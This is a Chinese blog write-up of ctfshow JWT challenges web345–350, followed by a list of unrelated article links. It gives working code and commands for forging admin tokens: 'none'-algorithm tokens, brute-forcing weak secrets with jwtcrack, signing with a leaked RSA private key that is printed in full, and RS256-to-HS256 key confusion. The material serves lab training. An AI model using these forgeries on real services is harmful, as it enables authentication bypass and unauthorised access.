当前位置: 首页 > news >正文

ctfshow jwt web入门

jwt令牌由三部分组成,由.分割

Header
Payload
Signature

header示例

{'typ': 'JWT','alg': 'HS256'
}# typ:声明类型
# alg:声明加密的算法 通常直接使用 HMAC SHA256
需要注意的是因为header部分是固定的所以,生成的base64也是固定的以eyJh开头的

payload示例

{"sub": "1234567890","name": "John Doe"
}标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
signature
是一个签证信息,这个签证信息由三部分组成header (base64后的)
payload (base64后的)
secret注意:secret是保存在服务器端的,JWT的签发生成也是在服务器端的,secret就是用来进行JWT的签发和JWT的验证

在线jwt工具

web345

在这里插入图片描述没有加密只能手动编码

{"alg": "None","typ": "jwt"
}
ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJqd3QiCn0
[{"sub": "admin"}
]
WwogIHsKICAgIAogICAgInN1YiI6ICJhZG1pbiIKICB9Cl0

在这里插入图片描述这样修改之后是不太好改的至少我的电脑是这样,然后header和signature没有所以我们直接传需要验证的那一段即可

cookie:
WwogIHsKICAgIAogICAgInN1YiI6ICJhZG1pbiIKICB9Cl0

web346

在这里插入图片描述

我们要把加密换成none,user换成admin,使用脚本

import base64
def jwtBase64Encode(x):return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1717308697,"exp":1717315897,"nbf":1632212749,"sub":"admin",' \'"jti":"ef284a95660debcc71201fbd57541e07"} 'print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

然后就可以了

web347

不能改none了我发现只能爆密钥但是不知道为啥我就是爆不出来,既然是弱的就猜一个123456对了刚好
在这里插入图片描述

cd c-jwt-cracker-master./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzMyOTk2NywiZXhwIjoxNzE3MzM3MTY3LCJuYmYiOjE3MTczMjk5NjcsInN1YiI6InVzZXIiLCJqdGkiOiIxZTA5YTdmODJmM2NhZTJiOGQ4MjU4N2I1ZTI4NTcwMCJ9.3mUyUCWS0vkgEEyDVYY_kuzVzT5qvCCIneHUn1ic4Qo

web348

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzMzMjU2OCwiZXhwIjoxNzE3MzM5NzY4LCJuYmYiOjE3MTczMzI1NjgsInN1YiI6InVzZXIiLCJqdGkiOiIwZTZiMmRjM2RmZTRjOWM3ZWM3YjM2YzFlNTI4ODk4MCJ9.3UFCVH-G-__fqZvFVdN8wWmxR54Uoi38Hnj-Sp1sv0Q

在这里插入图片描述这个一秒就出了

web349

/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public keyjwt.verify(auth, cert, function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin');}});
});

在这里插入图片描述
审计上面的代码发现在public.key有公钥
扫后台发现私钥

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDNioS2aSHtu6WIU88oWzpShhkb+r6QPBryJmdaR1a3ToD9sXDb
eni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnXYqlTJItOdHZio3Bi1J2Elxg8
IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjAbG1Naz58ibbtogeglQIDAQAB
AoGAE+mAc995fvt3zN45qnI0EzyUgCZpgbWg8qaPyqowl2+OhYVEJq8VtPcVB1PK
frOtnyzYsmbnwjZJgEVYTlQsum0zJBuTKoN4iDoV0Oq1Auwlcr6O0T35RGiijqAX
h7iFjNscfs/Dp/BnyKZuu60boXrcuyuZ8qXHz0exGkegjMECQQD1eP39cPhcwydM
cdEBOgkI/E/EDWmdjcwIoauczwiQEx56EjAwM88rgxUGCUF4R/hIW9JD1vlp62Qi
ST9LU4lxAkEA1lsfr9gF/9OdzAsPfuTLsl+l9zpo1jjzhXlwmHFgyCAn7gBKeWdv
ubocOClTTQ7Y4RqivomTmlNVtmcHda1XZQJAR0v0IZedW3wHPwnT1dJga261UFFA
+tUDjQJAERSE/SvAb143BtkVdCLniVBI5sGomIOq569Z0+zdsaOqsZs60QJAYqtJ
V7EReeQX8693r4pztSTQCZBKZ6mJdvwidxlhWl1q4+QgY+fYBt8DVFq5bHQUIvIW
zawYVGZdwvuD9IgY/QJAGCJbXA+Knw10B+g5tDZfVHsr6YYMY3Q24zVu4JXozWDV
x+G39IajrVKwuCPG2VezWfwfWpTeo2bDmQS0CWOPjA==
-----END RSA PRIVATE KEY-----
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

我不能用在线网页了,只能用node.js来写
或者用python

import jwt
private = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=private, algorithm='RS256'))

用bp发包,这里我就是忘了一个错误,应该是POST发包,别忘了上面的js文件说的是POST查看
在这里插入图片描述

web350

user.js

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

common.js

module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public keyjwt.verify(auth, cert,function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin'+err);}});
});
module.exports = router;

公钥

-----CTFSHOW 36D BOY -----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDfdIGdsPuxSGPuosgarjZ7zO4t
HHmQ7+6WUiKBA0ykcXe6aK9zcVVKCcEwyMbENgTF4Et8RjZ3NKs1Co74Q+4gII5G
IgQFSS0PzTOKmoTY1fnA6+jqBquV4RnU283kgdaKmkaSRdiwsW2EaagMgZdG6WJk
65RmH98bgnIAGW5nawIDAQAB
-----END PUBLIC KEY-----

公钥给我们了,我们可以利用非对称转为对称算法进行攻击,利用公钥进行加密解密
RS256->HS256

const jwt = require('jsonwebtoken');  //导入库
var fs = require('fs');  //导入js库方便读文件操作
var privateKey = fs.readFileSync('./public.key');  
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });RS256改为HS256就可以用公钥解出来
console.log(token)  最后的cookie

相关文章:

  • 【前端】vue+element项目中select下拉框label想要显示多个值多个字段
  • 自然语言处理(NLP)—— 神经网络语言处理
  • NPN与PNP的基础知识介绍
  • 使用git将本地文件上传到仓库+git常用指令
  • 二、Nginx目录结构与基本运行原理
  • SpringBoot:手动创建应用
  • 探索安全之道 | 企业漏洞管理:从理念到行动
  • 【ES001】elasticsearch实战经验总结(最近更新中)
  • Linux - 磁盘的分区和挂载
  • 操作系统基础知识
  • C语言面试题11至20题
  • 冶金比例换向阀放大器
  • 【TB作品】msp430f5529单片机,dht22,烟雾传感器
  • JVM之【GC-可达性分析算法】
  • redis面试知识点
  • angular2开源库收集
  • crontab执行失败的多种原因
  • express如何解决request entity too large问题
  • node学习系列之简单文件上传
  • PhantomJS 安装
  • ubuntu 下nginx安装 并支持https协议
  • Vue学习第二天
  • 翻译:Hystrix - How To Use
  • 漫谈开发设计中的一些“原则”及“设计哲学”
  • 那些被忽略的 JavaScript 数组方法细节
  • 小李飞刀:SQL题目刷起来!
  • 译自由幺半群
  • nb
  • 移动端高清、多屏适配方案
  • ​软考-高级-系统架构设计师教程(清华第2版)【第12章 信息系统架构设计理论与实践(P420~465)-思维导图】​
  • ###C语言程序设计-----C语言学习(6)#
  • #每天一道面试题# 什么是MySQL的回表查询
  • (02)Cartographer源码无死角解析-(03) 新数据运行与地图保存、加载地图启动仅定位模式
  • (12)目标检测_SSD基于pytorch搭建代码
  • (16)Reactor的测试——响应式Spring的道法术器
  • (2015)JS ES6 必知的十个 特性
  • (4.10~4.16)
  • (floyd+补集) poj 3275
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (五)MySQL的备份及恢复
  • (原創) 未来三学期想要修的课 (日記)
  • (转) SpringBoot:使用spring-boot-devtools进行热部署以及不生效的问题解决
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)memcache、redis缓存
  • (转)编辑寄语:因为爱心,所以美丽
  • (状压dp)uva 10817 Headmaster's Headache
  • 、写入Shellcode到注册表上线
  • .gitignore文件使用
  • .NET 8.0 中有哪些新的变化?
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .Net 中的反射(动态创建类型实例) - Part.4(转自http://www.tracefact.net/CLR-and-Framework/Reflection-Part4.aspx)...
  • .Net8 Blazor 尝鲜
  • .net打印*三角形
  • .NET开发不可不知、不可不用的辅助类(一)